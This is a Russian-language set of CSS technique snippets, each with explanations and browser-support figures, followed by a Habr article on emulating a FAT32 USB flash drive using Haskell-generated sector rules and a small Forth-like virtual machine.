.constant-width-to-height-ratio {
background: #333;
width: 50%;
padding-top: 50%;
}
```
### Объяснение
`padding-top` и `padding-bottom` могут использоваться в качестве альтернативы `height`, поскольку процентное значение высоты элемента становится процентным значением ширины. То есть `50%` означает, что высота элемента будет составлять 50 % от ширины. В результате соотношение сторон не меняется.
### Поддержка в браузерах
99+ %
`padding-top` смещает всё содержимое на дно элемента.
Кастомное выделение текста
--------------------------
Изменяет стиль выделения текста.
### HTML
```
Select some of this text.
```
### CSS
```
.custom-text-selection::selection {
background: red;
color: white;
}
```
### Пример
### Объяснение
`::selection` определяет в элементе псевдоселектор, чтобы применять стиль к тексту, когда он выделен.
### Поддержка в браузерах
84,6 %
Эта фича пока отсутствует в спецификациях, для её полной поддержки нужно использовать префиксы.
* <https://caniuse.com/#feat=css-selection>
Переменные плавности анимации
-----------------------------
Переменные, которые можно повторно использовать для свойств `transition-timing-function`, дают больше возможностей по сравнению со встроенными `ease`, `ease-in`, `ease-out` и `ease-in-out`.
### HTML
### CSS
```
:root {
--ease-in-quad: cubic-bezier(0.55, 0.085, 0.68, 0.53);
--ease-in-cubic: cubic-bezier(0.55, 0.055, 0.675, 0.19);
--ease-in-quart: cubic-bezier(0.895, 0.03, 0.685, 0.22);
--ease-in-quint: cubic-bezier(0.755, 0.05, 0.855, 0.06);
--ease-in-expo: cubic-bezier(0.95, 0.05, 0.795, 0.035);
--ease-in-circ: cubic-bezier(0.6, 0.04, 0.98, 0.335);
--ease-out-quad: cubic-bezier(0.25, 0.46, 0.45, 0.94);
--ease-out-cubic: cubic-bezier(0.215, 0.61, 0.355, 1);
--ease-out-quart: cubic-bezier(0.165, 0.84, 0.44, 1);
--ease-out-quint: cubic-bezier(0.23, 1, 0.32, 1);
--ease-out-expo: cubic-bezier(0.19, 1, 0.22, 1);
--ease-out-circ: cubic-bezier(0.075, 0.82, 0.165, 1);
--ease-in-out-quad: cubic-bezier(0.455, 0.03, 0.515, 0.955);
--ease-in-out-cubic: cubic-bezier(0.645, 0.045, 0.355, 1);
--ease-in-out-quart: cubic-bezier(0.77, 0, 0.175, 1);
--ease-in-out-quint: cubic-bezier(0.86, 0, 0.07, 1);
--ease-in-out-expo: cubic-bezier(1, 0, 0, 1);
--ease-in-out-circ: cubic-bezier(0.785, 0.135, 0.15, 0.86);
}
.easing-variables {
width: 50px;
height: 50px;
background: #333;
transition: transform 1s var(--ease-out-quart);
}
.easing-variables:hover {
transform: rotate(45deg);
}
```
### Пример
### Объяснение
Переменные, объявленные глобально вне псевдокласса :root CSS, которые совпадают с корневым элементом дерева документа. В HTML :root соответствует элементу и идентичен селектору html, кроме лишь того, что его специфика выше.
### Поддержка в браузерах
87,2 %
Подводных камней нет.
* <https://caniuse.com/#feat=css-variables>
Вдавленный текст
----------------
Создаёт эффект вдавленного, или выгравированного на фоне текста.
### HTML
```
I appear etched into the background.
```
### CSS
```
.etched-text {
text-shadow: 0 2px white;
font-size: 1.5rem;
font-weight: bold;
color: #b8bec5;
}
```
### Пример
### Объяснение
`text-shadow: 0 2px white` создаёт белую тень со смещением `0px` по горизонтали и `2px` по вертикали от исходной позиции. Фон должен быть темнее тени, а текст — слегка выцветшим, чтобы он выглядел вдавленным/выгравированным на фоне.
### Поддержка в браузерах
97,9 %
Подводных камней нет.
* <https://caniuse.com/#feat=css-textshadow>
Градиентный текст
-----------------
Делает градиентную заливку текста.
### HTML
```
Gradient text
```
### CSS
```
.gradient-text {
background: -webkit-linear-gradient(pink, red);
-webkit-text-fill-color: transparent;
-webkit-background-clip: text;
}
```
### Пример
### Объяснение
1. `background: -webkit-linear-gradient(...)` делает у текстового элемента градиентный фон.
2. `webkit-text-fill-color: transparent` заполняет текст прозрачным цветом.
3. `webkit-background-clip: text` закрепляет фон с текстом, заливает текст градиентным фоном в качестве цвета.
### Поддержка в браузерах
90,7 %
️ Использует нестандартные свойства.
* <https://caniuse.com/#feat=text-stroke>
Тонкая рамка
------------
Делает вокруг элемента рамку, по толщине эквивалентную одному нативному пикселю устройства, очень резкую, не размытую.
### HTML
```
text
```
### CSS
```
.hairline-border {
box-shadow: 0 0 0 1px;
}
@media (min-resolution: 2dppx) {
.hairline-border {
box-shadow: 0 0 0 0.5px;
}
}
@media (min-resolution: 3dppx) {
.hairline-border {
box-shadow: 0 0 0 0.33333333px;
}
}
@media (min-resolution: 4dppx) {
.hairline-border {
box-shadow: 0 0 0 0.25px;
}
}
```
### Пример
Объяснение
----------
1. `Box-shadow` при использовании спреда (`spread`) добавляет псевдорамку, которая может использовать субпиксели\*.
2. Применяйте `@media (min-resolution: ...)` для проверки соотношения логических и физических пикселей на устройстве (device pixel ratio) (`1ddpx` эквивалентно 96 DPI), задайте спред `box-shadow` равным `1 / dppx`.
### Поддержка в браузерах
95 %
️Для полной поддержки нужен альтернативный синтаксис и проверка JavaScript юзер-агента.
* <https://caniuse.com/#feat=css-boxshadow>
* <https://caniuse.com/#feat=css-media-resolution>
* Chrome не поддерживает субпиксельные значения применительно к `border`. Safari не поддерживает их применительно к `box-shadow`. Firefox поддерживает субпиксельные значения в обоих случаях.
Горизонтальное и вертикальное центрирование
-------------------------------------------
Центрирует дочерний элемент по вертикали и горизонтали внутри родительского элемента.
### HTML
```
```
### CSS
```
.horizontal-and-vertical-centering {
display: flex;
justify-content: center;
align-items: center;
}
```
### Пример
### Объяснение
1. `display: flex` включает flexbox.
2. `justify-content: center` центрирует дочерний элемент по горизонтали.
3. `align-items: center` центрирует дочерний элемент по вертикали.
### Поддержка в браузерах
97,8 %
️Для полной поддержки нужны префиксы.
* <https://caniuse.com/#feat=flexbox>
Градиентное отслеживание курсора мыши (требуется JavaScript)
------------------------------------------------------------
При наведении курсор сопровождается градиентным эффектом.
### HTML
```
Hover me
```
### CSS
```
.mouse-cursor-gradient-tracking {
position: relative;
background: #2379f7;
padding: 0.5rem 1rem;
font-size: 1.2rem;
border: none;
color: white;
cursor: pointer;
outline: none;
overflow: hidden;
}
.mouse-cursor-gradient-tracking span {
position: relative;
}
.mouse-cursor-gradient-tracking::before {
--size: 0;
content: '';
position: absolute;
left: var(--x);
top: var(--y);
width: var(--size);
height: var(--size);
background: radial-gradient(circle closest-side, pink, transparent);
transform: translate(-50%, -50%);
transition: width .2s ease, height .2s ease;
}
.mouse-cursor-gradient-tracking:hover::before {
--size: 200px;
}
JavaScript
var btn = document.querySelector('.mouse-cursor-gradient-tracking')
btn.onmousemove = function (e) {
var x = e.pageX - btn.offsetLeft
var y = e.pageY - btn.offsetTop
btn.style.setProperty('--x', x + 'px')
btn.style.setProperty('--y', y + 'px')
}
```
### Пример
### Объяснение
1. `::before` определяет псевдоэлемент
2. `--size`, `--x`, `--y` являются набором пользовательских CSS-свойств
3. `background: radial-gradient(circle closest-side, pink, transparent);` определяет градиент
4. `--size: 200px;` показывают градиент при наведении
5. `btn.style.setProperty('--x', x + 'px')` и `btn.style.setProperty('--y', y + 'px')` определяют положение блока с градиентом относительно контейнера
**Примечание.** Если родительский элемент позиционирован относительно содержимого (`position: relative`), то придётся также вычитать и его смещение.
```
var x = e.pageX - btn.offsetLeft - btn.offsetParent.offsetLeft
var y = e.pageY - btn.offsetTop - btn.offsetParent.offsetTop
```
### Поддержка в браузерах
87,2 %
️Требуется JavaScript.
* <https://caniuse.com/#feat=css-variables>
Градиент при избыточной прокрутке
---------------------------------
Добавляет градиент к избыточному элементу, чтобы лучше отображать контент, который можно прокрутить.
### HTML
```
Content to be scrolled
CSS
.overflow-scroll-gradient {
position: relative;
}
.overflow-scroll-gradient::after {
content: '';
position: absolute;
bottom: 0;
width: 300px;
height: 25px;
background: linear-gradient(rgba(255, 255, 255, 0.001), white); /* transparent keyword is broken in Safari */
}
.overflow-scroll-gradient__scroller {
overflow-y: scroll;
background: white;
width: 300px;
height: 250px;
padding: 15px 0;
line-height: 1.2;
text-align: center;
}
```
### Пример
### Объяснение
1. `position: relative` применительно к родительскому элементу задаёт декартово позиционирование псевдоэлементов.
2. `::after` определяет псевдоэлемент.
3. `background-image: linear-gradient(...)` добавляет линейный градиент от прозрачного к белому (сверху вниз).
4. `position: absolute` берёт псевдоэлемент из потока документа и позиционирует его относительно родительского элемента.
5. `width: 300px` задаёт размер прокручиваемого элемента (дочернего по отношению к родительскому, содержащему псевдоэлемент).
6. `height: 25px` — это высота градиентного псевдоэлемента, она должна быть относительно небольшой.
7. `bottom: 0` позиционирует псевдоэлемент по нижней границе родительского элемента.
### Поддержка в браузерах
94,8 %
Подводных камней нет.
* <https://caniuse.com/#feat=css-gradients>
Выдвигающееся (popout) меню
---------------------------
При наведении курсора выдвигается интерактивное меню.
### HTML
```
Popout menu
```
### CSS
```
.reference {
position: relative;
}
.popout-menu {
position: absolute;
visibility: hidden;
left: 100%;
}
.reference:hover > .popout-menu {
visibility: visible;
}
```
### Пример
### Объяснение
1. `position: relative` для референсного родительского элемента устанавливает декартово позиционирование дочернего элемента.
2. `position: absolute` берёт из потока документа выдвигающееся меню и позиционирует его относительно родительского элемента.
3. `left: 100%` целиком выводит меню слева от родительского элемента.
4. `visibility: hidden` изначально скрывает меню и разрешает переходы (в отличие от display: none).
5. `.reference:hover > .popout-menu` означает, что, когда курсор мыши проходит над .reference, немедленно выбираются дочерние элементы с классом .popout-menu, а их видимость (visibility) меняется на visible, в результате мы видим меню.
### Поддержка в браузерах
99+ %
Подводных камней нет.
Красивое подчёркивание текста
-----------------------------
Более симпатичная альтернатива `text-decoration: underline`, когда линия не пересекает нижние выносные элементы букв. Нативно реализовано в качестве `text-decoration-skip-ink: auto`, но при этом у нас становится меньше возможностей управлять подчёркиванием.
### HTML
```
Pretty text underline without clipping descending letters.
```
### CSS
```
.pretty-text-underline {
display: inline;
font-size: 1.25rem;
text-shadow: 1px 1px 0 #f5f6f9,
-1px 1px 0 #f5f6f9,
-1px -1px 0 #f5f6f9,
1px -1px 0 #f5f6f9;
background-image: linear-gradient(90deg, currentColor 100%, transparent 100%);
background-position: 0 1.04em;
background-repeat: repeat-x;
background-size: 1px 1px;
}
.pretty-text-underline::selection {
background-color: rgba(0, 150, 255, 0.3);
text-shadow: none;
}
```
### Пример
### Объяснение
1. `text-shadow: ...` имеет четыре значения со сдвигами, покрывающие зону 4 × 4 пикселя, чтобы у подчёркивания была «толстая» тень, накрывающая линию в местах пересечения выносных элементов букв. Используйте цвет фона. Для крупных шрифтов задавайте зону большего размера
2. `background-image: linear-gradient(...)` создаёт 90-градусный градиент текущего цвета текста (currentColor).
3. Свойства `background-*` задают внизу градиент размером 1 × 1 px и повторяют его по оси Х.
4. Псевдоселектор `::selection` отвечает за то, чтобы тень текста не накладывалась на текстовое выделение.
### Поддержка в браузерах
94,8 %
Для работы `::selection` в Firefox необходимы префиксы
* <https://caniuse.com/#feat=css-textshadow>
* <https://caniuse.com/#feat=css-gradients>
Разделитель
-----------
Использует SVG-форму для разделения двух разных блоков, чтобы получилось визуально более интересное отображение на экране по сравнению со стандартным горизонтальным разделением.
### HTML
### CSS
```
.shape-separator {
position: relative;
height: 48px;
}
.shape-separator::after {
content: '';
background-image: url(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS1taXRlcmxpbWl0PSIxLjQxNCI+PHBhdGggZD0iTTEyIDEybDEyIDEySDBsMTItMTJ6IiBmaWxsPSIjZmZmIi8+PC9zdmc+);
position: absolute;
width: 100%;
height: 24px;
bottom: 0;
}
```
### Пример
### Объяснение
1. `position: relative` задаёт для элемента декартово позиционирование псевдоэлементов.
2. `::after` задаёт псевдоэлемент.
3. `background-image: url(...)` добавляет в качестве фонового изображения псевдоэлемента SVG-форму (треугольник 24 × 24 в формате base64), которая по умолчанию многократно повторяется. Она должна быть того же цвета, что и отделяемый блок.
4. `position: absolute` берёт псевдоэлемент из потока документа и позиционирует его относительно родительского элемента.
5. `width: 100%` растягивает элемент по всей ширине его родительского элемента.
6. `height: 24px` задаёт такую же высоту, как и у SVG-формы.
7. `bottom: 0` позиционирует псевдоэлемент внизу родительского элемента.
### Поддержка в браузерах
98 %
Подводных камней нет.
* <https://caniuse.com/#feat=svg>
Стек системных шрифтов
----------------------
Использует нативные шрифты операционной системы, чтобы приложение выглядело как можно более естественно.
### HTML
```
This text uses the system font.
```
### CSS
```
.system-font-stack {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif;
}
```
### Пример
### Объяснение
Браузер ищет каждый из нижеперечисленных шрифтов. Если первый шрифт недоступен — ищет второй, если он тоже недоступен — ищет третий и т. д.
1. `-apple-system` — шрифт San Francisco, используемый в iOS и macOS (но не в Chrome).
2. `BlinkMacSystemFont` — шрифт San Francisco, используемый в macOS Chrome.
3. `Segoe UI` используется в Windows 10.
4. `Roboto` — в Android.
5. `Oxygen-Sans` — в GNU + Linux.
6. `Ubuntu` — в Linux.
7. `"Helvetica Neue"` и `Helvetica` — в macOS 10.10 и ниже (взят в кавычки, потому что в названии есть пробел).
8. `Arial` широко поддерживается всеми ОС.
9. `sans-serif` — запасной шрифт без засечек, используется, если все вышеперечисленные недоступны.
### Поддержка в браузерах
99+ %
Подводных камней нет.
Треугольник
-----------
С помощью чистого CSS создаёт треугольную форму.
### HTML
### CSS
```
.triangle {
width: 0;
height: 0;
border-top: 20px solid #333;
border-left: 20px solid transparent;
border-right: 20px solid transparent;
}
```
### Пример
### Объяснение
[Подробное объяснение](https://stackoverflow.com/q/7073484).
Цвет границы — это цвет самого треугольника. Сторона, в которую обращена вершина треугольника, противоположна свойству `border-*`. Например, `border-top` означает, что «стрелка» указывает вниз.
Поэкспериментируйте со значениями `px`, чтобы изменить пропорции треугольника.
### Поддержка в браузерах
99+ %
Подводных камней нет.
Обрезание текста
----------------
Если текст длиннее одной строки, он обрежется, а в конце будет подставлено многоточие.
### HTML
```
If I exceed one line's width, I will be truncated.
```
### CSS
```
.truncate-text {
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
```
### Пример
### Объяснение
1. `overflow: hidden` не даёт тексту выйти за пределы размерностей (для блока это 100 % ширины и автоматическая высота).
2. `white-space: nowrap` не даёт тексту занять по высоте одну строку.
3. `text-overflow: ellipsis` делает так, что когда текст достигает заданных размеров, то в конце вставляется многоточие.
### Поддержка в браузерах
98,1 %
Работает только с однострочными элементами
* <https://caniuse.com/#feat=text-overflow> | https://habr.com/ru/post/350160/ | null | ru | null |
# В поисках жирного (The Quest For FAT)
При разработке некоего программно-аппаратного комплекса потребовалось создать клиентское устройство, которое для прочих устройств должно выглядеть как обычная USB-флешка, или если более формально, то USB Mass Storage Device. Необычность устройства в том, что оно должно имитировать для внешнего мира файловую систему FAT с файлами достаточно большого размера (2GB и и более), при том, что сами файлы на устройстве, конечно, отсутствуют и находятся в сети. Да и вообще это не файлы, а некие аудио-потоки.
Задача, на первый взгляд, простая: на каждый запрос на чтение блока (команду SCSI) отдаем содержимое этого блока. Блок может либо принадлежать какому-нибудь из «файлов», либо содержать служебную информацию FAT.
Первая мысль была, конечно, запаковать образ FAT при помощи, например, bzip2 и распаковывать на устройстве по мере надобности. Проблем возникает сразу три:
* Сжатый образ файловой системы из пятка 100-мегабайтных файлов и нескольких каталогов занимает что-то около 125Kb, что превышает объем RAM на устройстве.
* Bzip2, видимо, не знает ничего о секторах и работает на уровне потоков, следовательно, упаковывать придется посекторно, следовательно размеры образа будут совсем запредельными: как известно, паковать маленькими блоками невыгодно — накладные расходы велики по сравнению с выигрышем от сжатия.
* Подготовка образа (монтирование пустого файла, создание файловой системы, запаковка) занимает немало времени и едва ли приемлема для реализации на сервере с рассчетными тысячами пользователей. Да и сам образ в процессе создания требует какого-то достаточно заметного места на дисках.
Ну это не говоря вообще о том, что придется портировать bzip2 на микроконтроллер.
Таким образом, нужно было придумать что-то еще.
Задачу можно поставить следующим образом: необходимо написать код, который будет принимать на вход некоторое описание файловой системы в каком-то виде, и на каждый запрос номера сектора возвращать его содержимое. Содержимым является либо служебная информация, либо данные файла, которые берутся из соответствующего ему аудиопотока по заданному URL.
Такая постановка вопроса приводит нас к системе правил:
`Номер сектора => Содержимое сектора`
Заметим, что речь идет именно о секторах, а не «кластерах», так как кластер — это понятие самой файловой системы FAT. Устройства работают на уровне блоков, они же секторы. Допустим, наш «плейлист» содержит 10 «файлов» по 2Gb каждый (2Gb — это такое практическое приближение к бесконечности). Если каждое правило имеет размер один байт, что, конечно, невозможно, то у нас получается.
`2*1024*1024*1024 * 10 / 512 = 41 943 040`
байт на все правила. Несколько больше разумного. Но, естественно, правила не уникальны для каждого сектора. Будем задавать правила для диапазонов секторов. Это приводит нас к набору правил:
`Номер сектора (A) => Содержимое сектора
Диапазон секторов (A,B) => Содержимое сектора`
Попробуем упаковать также сами сектора. Поскольку задачи сжатия данных перед нами не стоит — сами-то данные в устройстве отсутствуют и берутся из Сети, то нужно просто как-то более-менее компактно представлять служебные данные самой файловой системы. На первый взгляд, в этих данных много повторяющихся последовательностей, так что будем кодировать следующим образом: повторяющиеся последовательности представляем как
`(Признак RLE, Количество, Символ)`
Неповторяющиеся последовательности представим как
`(Признак Sequence, Последовательность символов)`
Кроме того, те последовательности которые мы уже закодировали, или их части хорошо бы не вставлять повторно, а ссылаться на них. Вероятно, у нас появляется еще последовательность
`(Вызов последовательности, идентификатор)`
Возможно в процессе реализации могут появится и другие последовательности для более компактного представления структур файловой системы.
Все это очень похоже на систему команд какой-то виртуальной машины, а раз есть вызовы, то есть и стек. Наиболее простая из известных виртуальных машин — это какая-нибудь из разновидностей форта. Фактически, это обратная
польская запись на стероидах, с добавленным стеком адресов возврата из вызовов, которая избавляет от необходимости возиться с организацией фреймов функций: все предельно просто — при возврате из вызова снимаем
верхнее слово со стека R и переходим по адресу, на который оно указывает.
Кроме того, token threaded код (а это будет именно он) для двухстековой машины обладает очень хорошой плотностью, что нас, в данном случае, очень устраивает.
Интерпретировать такой код быстро, получается всего в среднем в пять раз медленнее, чем нативный код, и к тому же очень просто.
Итак, у нас есть какая-то система кодирования, система правил и некая виртуальная машина на которой эти правила должны проигрываться.
Осталось сгенерировать эти правила из некоего описания, получить байткод и реализовать машину для его интерпретации. И только потом мы увидим, что получилось.
С реализацией виртуальной машины ситуация простая: работать она будет на микроконтроллере, соответственно, тут пока без вариантов Си. Правда, возможно что писать там нечего — получится ее сгенерировать каким-нибудь
образом.
Остается генерация системы правил из описания, само описание, генерация кода и описание команд этого кода. Кроме того, правила хорошо бы проверять не последовательно, а как-то более разумно: организовать проверки в виде
дерева сравнений, так что бы количество сравнений на каждый сектор было порядка бинарного логарифма от количества сравнений.
C первичным анализом закончили, надо бы сделать прототип и посмотреть, что у нас получится.
Нам понадобится генерация и, возможно, чтение бинарных данных различной размерности и эндианности (служебные данные FAT записываются в low-endian формате) и работа с вложенными структурами данных.
На чем бы это реализовать? C, С++ или, может, Python? Или Ruby? Шутка.
Разумеется, будем делать на Haskell: задача не самая простая, требуется какая-никакая производительность, да и времени у нас немного. Ну и все равно, сервер, который будет вызывать этот код, реализован тоже на
Haskell, так что выбор вполне естественный.
Приступим.
Центральной вещью в системе являются «правила». В них преобразуется описание файловой системы, из них генерируется код. Опишем их:
`data Rule = REQ Int [Chunk] | RANGE Int Int [Chunk] deriving Show
data Chunk = SEQ BS.ByteString
| RLE Int Word8
deriving (Eq, Ord)`
Кроме того, есть описание самой файловой системы, которая состоит из каталогов и файлов, с некоторой спецификой самой FAT.
````
data Entry = DirRoot Int [Entry]
| DirDot Int
| DirDotDot Int
| Dir Int String [Entry]
| File Int String Int BS.ByteString
deriving (Eq, Ord, Data, Typeable, Show)
````
Тут остановимся подробнее. Странные конструкторы DirDor и DirDotDot — не что иное, как каталоги '.' и '..', которые — вот сюрприз — являются первоклассными, физически присутствующими записями каталогов. К счастью, они
являются только ссылками и не требуют для себя выделения кластеров.
В остальном все довольно очевидно: первым атрибутом конструкторов типа является уникальный идентификатор. Он явно может пригодиться нам, что бы разбираться в прошивке, из какого «файла» были запрошены данные.
Вторым атрибутом является имя файла. В случае файла добавим так же его размер и данные. Это, конечно, не данные самого файла, а какое-то указание прошивке устройства, откуда эти данные брать. Туда можно записать, например, сишную структуру или URL потока. Поэтому ByteString.
Теперь нам нужно как-то сконструировать Entry, учитывая требования файловой системы: каждый каталог, кроме корневого должен содержать записи '.' и '..', они должны ссылаться на соответствующие им каталоги, не должно быть
одинаковых имен записей, названия не должны содержать запрещенных символов ну и так далее и так далее. Видно, что вручную эту структуру создавать тяжело, кроме того этим должен заниматься пользователь API, а он обязательно что-нибудь перепутает и все сломается, а дело серьезное. Так что лучше запретим импорт содержимого типа Entry из нашего модуля, и предоставим пользователю какое-нибудь более удобное и защищенное от ошибок решение. Что-нибудь наподобие:
````
fileContents = ...
fatSample2 = filesystem $ do
file "file0" (16384) fileContents
dir "A" $ do
file "file1" (megs 100) fileContents
dir "C" $ do
file "file3" (megs 100) fileContents
file "file4" (megs 100) fileContents
file "file5" (megs 100) fileContents
dir "E" $ emptyDir
dir "B" $ do
file "file2" (megs 50) emptyFile
````
Выглядит неплохо, даже не знающий языка может понять, что тут описывается.
Реализовать несложно: для генерации чего попало уже есть готовая монада Writer.
Кроме того, нам понадобится раздавать уникальные идентификаторы, так что пригодится еще и State, куда мы и положим какой-нибудь счетчик. Поскольку мы хотим скрестить State и Writer, нам не помешает монадный трансформер. Приблизительно так:
````
newtype EntryIdT m a = EntryIdT {
runF :: (WriterT [Entry] (StateT (Int, Int) m)) a
} deriving (Monad, MonadWriter [Entry], MonadState (Int, Int))
type EntryIdM = EntryIdT Identity
runEntryIdM :: (Int, Int) -> EntryIdM a -> ([Entry], (Int, Int))
runEntryIdM init f = runState (execWriterT (runF f)) init
filesystem :: EntryIdM () -> Entry
filesystem f = DirRoot 0 dirs
where dirs = fst $ runEntryIdM (1,0) f
dir :: String -> EntryIdM () -> EntryIdM ()
file :: String -> Int -> (EntryInfo -> BS.ByteString) -> EntryIdM ()
````
Каждая функция принимает параметры вроде имени, размера и еще монадическое значение для конструирования вложенных записей. Каждое такое вычисление будет запускаться в отдельном Writer, а State будет протаскиваться общий, что бы гарантировать уникальность идентификаторов.
Итак, структуру каталогов задали, теперь нам нужно получить из нее каким-то образом правила.
Для этого нужно как-то разместить данные файлов и каталогов на «диске».
Будем считать, что они размещаются последовательно, сначала каталоги, потом файлы:
````
data AllocEntry = AllocEntry { beginSect :: Int
, endSect :: Int
, entry :: Entry
} deriving (Show)
allocate :: ClustSize32 -> Int -> Entry -> [AllocEntry]
allocate cl from = eFix . eAlloc . eOrder . filter eFilt . universe
where eFilt (File _ _ _ _) = True
eFilt (Dir _ _ _) = True
eFilt (DirRoot _ _) = True
eFilt _ = False
eOrder = uncurry (++) . partition (not.isFile)
eAlloc = reverse . snd . foldl fentry (from, [])
fentry (n, xs) e =
let sectors = entryLen cl e `div` fatSectLen
begin = n
end = begin + sectors - 1
n' = n + sectors
allocated = AllocEntry begin end e
in (n', allocated : xs)
eFix = id
````
Код в целом достаточно очевиден: берем все записи, убираем '.' и '..' которые не имеют собственных кластеров, а только указывают на чужие, делаем так, что бы сначала шли каталоги, потом файлы (разницы нет, но так логичнее,
да и оглавление тома будет быстрее читаться), выделяем секторы (нам удобнее работать с секторами, «кластеры» понятие искусственное) и все.
Стоит отметить функцию universe из модуля uniplate. Она позволяет перечислить все элементы вложенной структуры в виде списка (при желании — с list comprehension), что бы избежать рутинного написания функций рекурсивного обхода.
Именно ради нее мы объявили тип Entry deriving (Data, Typeable) выше.
Имея файлы, размещенные по секторам, нам уже ничего не стоит сгенерировать правила для них:
````
generateData :: Maybe CalendarTime -> ClustSize32 -> [AllocEntry] -> [Rule]
generateData ct cl es = mergeRules $ execWriter $ do
forM_ es $ \(AllocEntry {beginSect = a, endSect = b, entry = e}) -> do
case e of
DirRoot _ es -> writeEntries a b es
Dir _ _ es -> writeEntries a b es
File _ _ _ bs -> tell [RANGE a b (encodeBlock (BS.take (fatSectLen) bs))]
where
...
````
функция encodeBlock здесь умеет кодировать ByteString в последовательность правил, writeEntries — генерирует записи каталогов и кодирует их, а mergeRule пытается объединять диапазоны секторов последовательно идущих правил.
Генерация одной записи каталога выглядит примерно так:
````
entryRecordShort :: String
-> Int
-> Int
-> Maybe CalendarTime
-> [ATTR]
-> BS.ByteString
entryRecordShort nm size clust clk a = runPut $ do
putNameASCII nm -- Name
putWord8 (fatAttrB a) -- Attr
putWord8 0 -- NTRes
putWord8 0 -- CrtTimeTenth
putWord16le cT -- CrtTime
putWord16le cD -- CrtDate
putWord16le cD -- LstAccDate
putWord16le cHi -- FstClusHI
putWord16le cT -- WrtTime
putWord16le cD -- WrdDate
putWord16le cLo -- FstClusLO
putWord32le (fromIntegral size) -- FileSize
where ...
````
Тут используется исключительно полезная монада PutM из Data.Binary.Put, которая позволяет выводить данные любой разрядности и эндианности в ленивую байт-строку.
Итак, у нас есть структура каталогов тома FAT, у нас есть их размещение по секторам и соответствующие правила. Что нам осталось?
Тут нужно отступить немного в сторону и вспомнить устройство FAT. Если не вдаваться в лишние подробности, широко доступные в Сети и литературе, то FAT32 устроен так:
```
|BootSect|FAT32 Info|FAT1|FAT2|DATA|
```
Пока у нас есть только правила для DATA. FAT1 и FAT2 — это таблицы размещения кластеров. Каждый файл или каталог (который тоже файл) занимает цепочку кластеров в области данных, а каждый кластер области данных представлен 32-битным значением в FAT1 и FAT2 (они идентичны).
В каждой ячейки FAT записан номер следующего кластера файла, последний кластер помечен специальным значением. Номер первого кластер файла указывается в записи каталога. Данные у нас размещаются последовательно, так что в каждой ячейке цепочки будет записано число N+1, где N — предыдущее значение.
Здесь возникает первая проблема: для наших рассчетных 10 x 20Gb эта таблица будет занимать целых 655360 32-битных значений, что опять превышает доступную оперативную память. При этом, эти правила не могут быть сжат
нашим примитивным алгоритмом упаковки RLE, так как тут нет повторяющихся значений. Впрочем, раз мы это последовательность смогли сгенерировать один раз, то, наверное, сможем сгенерить и еще раз, уже на устройстве.
Пристальное вглядывание показало, что значения в одном секторе таблицы размещения зависят от максимального значения в предыдущем, а в целом последовательность определяется выражением:
```
Na = BASE + (Nsect - M)*STEP
Ni <- [Na, Na + 1 ..]
```
где Na — первое значение для данного сектора, Nsect — номер запрошенного сектора (будет на вершине стека нашей форт-машины), M, BASE и STEP — константы, вычисляемые статически, Ni — i-ое число последовательности, а всего в секторе их, очевидно, 512/4.
Таким образом мы обзавелись новой последовательностью, которая генерирует серию значений на основе динамических данных (номера сектора). Добавим типы для этой последовательности и смежных:
````
data Chunk = SEQ BS.ByteString
| RLE Int Word8
| SER Word32 Word32
| NSER Word32 Int Word32 -- base offset step
| CALLBACK Word8
deriving (Eq, Ord)
````
Забегая вперед, добавим еще правило для коллбэка, который должен быть вызван после генерации сектора данных файла, что бы прошивка устройства взяла буфер и наполнила его реальными данными.
Можно было бы сразу генерировать таблицу в виде набора правил, но мне зачем-то она понадобилась в бинарном виде, кроме того уже есть отлаженная функция кодирования бинарных строк, а в непосредственной генерации легко
наделать ошибок.
Таблица эта достаточно большая, и в случае большой области данных и маленького размера кластера бедному хаскеллу приходится туго.
В какой-то момент от большого ленивого списка Word32 приложению стало совсем плохо, поэтому пришлось быстро переписать на ленивые байтстроки и использовать runPut / runGet для помещения туда и извлечения оттуда 32-битных значений.
Удивительно, но это привело к ускорению где-то в десять раз и всё стало работать с приемлемой скоростью, хотя, конечно, следует переписать это таким образом, что бы сразу генерировать правила и не создавать данных.
Но для концепта пойдет и так.
Сами функции генерации таблицы и правил для неё опустим, они достаточно большие, но при этом вполне очевидные:
````
type ClusterTable = BS.ByteString
genFAT :: ClustSize32 -> Int -> [AllocEntry] -> ClusterTable
encodeFAT :: Int -> ClusterTable -> [Rule]
````
Функция кодирования таблицы сначала ставит каждому сектору в соответствие одно правило REQ a (NSER \_ \_ \_ ), потом рассматривает секторы попарно и если два сектора образуют общую последовательность значений, то правило для сектора заменяется правилом для диапазона секторов, итог получается достаточно компактен для того, что бы можно было привести его здесь:
```
REQ 32 [SEQ [F8],RLE 2 255,SEQ [0F],RLE 3 255,SEQ [0F],
RLE 3 255,SEQ [0F],RLE 3 255,SEQ [0F],RLE 3 255,
SEQ [0F],RLE 3 255,SEQ [0F],RLE 3 255,SEQ [0F],
SEQ [08],RLE 3 0,SEQ [09],RLE 3 0,SEQ [0A],
RLE 3 0,RLE 3 255,SEQ [0F],SER 12 128]
RANGE 33 231 [NSER 129 33 128]
REQ 232 [SER 25601 25610,RLE 3 255,SEQ [0F],SER 25612 25728]
RANGE 233 431 [NSER 25729 233 128]
REQ 432 [SER 51201 51210,RLE 3 255,SEQ [0F],SER 51212 51328]
RANGE 433 631 [NSER 51329 433 128]
REQ 632 [SER 76801 76810,RLE 3 255,SEQ [0F],SER 76812 76928]
RANGE 633 831 [NSER 76929 633 128]
REQ 832 [SER 102401 102410,RLE 3 255,SEQ [0F],SER 102412 102528]
RANGE 833 931 [NSER 102529 833 128]
REQ 932 [SER 115201 115210,RLE 3 255,SEQ [0F],RLE 468 0]
RANGE 933 1056 [RLE 512 0]
```
Выглядит многообещающе, явно лучше, чем двухмегабайтный кусок данных.
Вторая копия таблицы совпадает с точностью до констант, так что в перспективе можно заменить эту последовательность вычитанием константы из смещения и вызовом первой таблицы. Но это потом.
